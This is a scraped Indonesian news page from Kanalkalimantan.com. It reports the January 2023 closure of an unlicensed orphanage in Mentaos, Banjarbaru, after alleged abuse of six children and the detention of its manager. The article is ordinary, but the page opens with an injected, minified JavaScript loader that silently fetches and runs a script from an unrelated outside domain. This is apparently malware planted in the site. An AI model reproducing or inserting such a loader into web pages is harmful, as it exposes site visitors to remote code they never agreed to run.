(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Rumah Yatim di Mentaos Banjarbaru Berhenti Total, Pengelola Meringkuk di Penjara


KANALKALIMANTAN.COM, BANJARBARU – Panti asuhan Griya Yatim Dhuafa di Jalan Pangeran Suriansyah Ujung, Kelurahan Mentaos, Kota Banjarbaru, berhenti total tak lagi ada aktivitas dari pengelola.

Hal ini disampaikan Lurah Mentaos, Zulhulaifah saat melakukan peninjauan terhadap rumah yang ditempati untuk kegiatan panti asuhan yatim Griya Yatim Dhuafa menyusul pihak kelurahan memberikan dispensasi hingga Senin (16/1/2023) mengosongkan seluruh barangnya.

“Kita lihat bahwa rumah ini sudah dikosongkan, sudah tidak ada lagi aktivitas pengelola di sini,” ujarnya, Senin (16/1/2023).

Peninjauan, kata Zulhulaifah dilakukan bersama Forum RT/RW Mentaos, LPM Kelurahan Mentaos, Babinsa, Bhabinkamtibmas dan pemilik rumah.

 

Baca juga : Deadline Senin, Perabot Panti Asuhan Griya Yatim di Mentaos Mulai Diangkut

Pengosongan ini kata Zulhulaifah, berdasarkan kesepakatan bersama dengan pihak pengelola hingga Minggu (15/1/2023), rumah sudah harus dikosongkan.

Disinggung terkait kontrak rumau hingga bulan Mei 2023 mendatang, kata Zulhulaifah kemungkinan pengelola yayasan ataupun anak SJ tidak akan kembali ke rumah tersebut.

“Kemarin sudah bersepakat, tempat ini tidak ditinggali lagi oleh yayasan yang tidak berizin itu,” katanya.

Setelah melakukan peninjauan, Lurah Mentaos ini memastikan barang-barang milik yayasan tidak ada lagi di rumah tersebut.

Kini seluruh anak yatim masih dalam pengawasan Dinas Pengendalian Penduduk Keluarga Berencana Pemberdayaan Masyarakat Perempuan dan Perlindungan Anak (DP2KBPMP2A) Kota Banjarbaru. Mereka ditempatkan pada salah satu panti asuhan yang ada di Kota Banjarbaru.

Baca juga  : 5 PSK Online dan Pemilik Kos Masuk Penjara 7 Hari

“Sekolahnya, sementara mereka bersekolah di yayasan tersebut, mereka menerima pendidikan di penitipan yang ada, sambil menunggu proses surat rekomendasinya,” tuntasnya.

Pengosongan dan penghentian operasional yayasan ini setelah adanya laporan ke kelurahan, terkait dugaan penganiayaan terhadap 6 anak asuh di Griya Yatim Dhuafa ini.

Setelah dilakukan pemeriksaan oleh tim gabungan di panti asuhan dan penangkapan oleh pihak kepolisian terhadap dua orang pengelola panti yatim SJ dan ET. SJ, selaku bapak asuh di Griya Yatim Dhuafa ditetapkan sebagai tersangka, diduga melakukan tindak kekerasan dengan dalih pembinaan terhadap anak asuh.

SJ ditahan di Rumah Tahanan (Rutan) Polres Banjarbaru sembari pengembangan kasus oleh pihak penyidik. (Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Desy Arfianty

Recent Posts

Jurnalisme Hijau di Era Digital: Membumikan Kompleksitas Isu Lingkungan Agar Tak Membosankan

KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More

9 jam ago

Masuk Masa Tenang, APK Paslon di Banjarbaru Dibersihkan

KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More

10 jam ago

Bawaslu Kalsel Segera Plenokan Dugaan Pelanggaran Paslon Syaifullah-Habib Ahmad

KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More

10 jam ago

Deteksi Dini Kesehatan IVA Test dan Sadanis di Puskesmas Sungai Malang

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More

11 jam ago

Uji Tanding 7 Cabor Bapor Korpri HSU Vs Bapor Korpri Paser

KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More

15 jam ago

Juara di Singapore Open Dance Championship 2024, Frem Harumkan Nama Indonesia

KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More

15 jam ago

This website uses cookies.